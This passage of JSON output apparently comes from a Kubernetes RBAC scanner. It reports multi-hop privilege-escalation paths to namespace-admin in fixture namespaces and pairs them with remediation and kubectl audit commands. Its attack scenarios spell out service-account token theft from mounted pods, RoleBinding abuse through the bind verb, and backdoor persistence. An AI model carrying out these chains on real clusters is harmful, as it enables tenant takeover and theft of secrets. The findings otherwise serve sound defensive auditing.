        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-ephemeral:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.6499999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can reach **namespace-admin in `rbac-ns-fixtures`** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  3. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-ephemeral` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-ephemeral` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. pod_create_token_theft [create pods]",
        "3. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 3,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "ephemeral_container_inject",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-ephemeral` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-exec:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.6499999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can reach **namespace-admin in `cutres`** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  3. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-exec` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-exec` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/rbac-fixtures/sa-pod-create` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. pod_create_token_theft [create pods]",
        "3. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "pod_exec",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-pod-exec` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-exec:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.6499999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can reach **namespace-admin in `deepchain-tenant`** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  3. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-exec` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-exec` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/rbac-fixtures/sa-pod-create` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. pod_create_token_theft [create pods]",
        "3. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "pod_exec",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-pod-exec` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
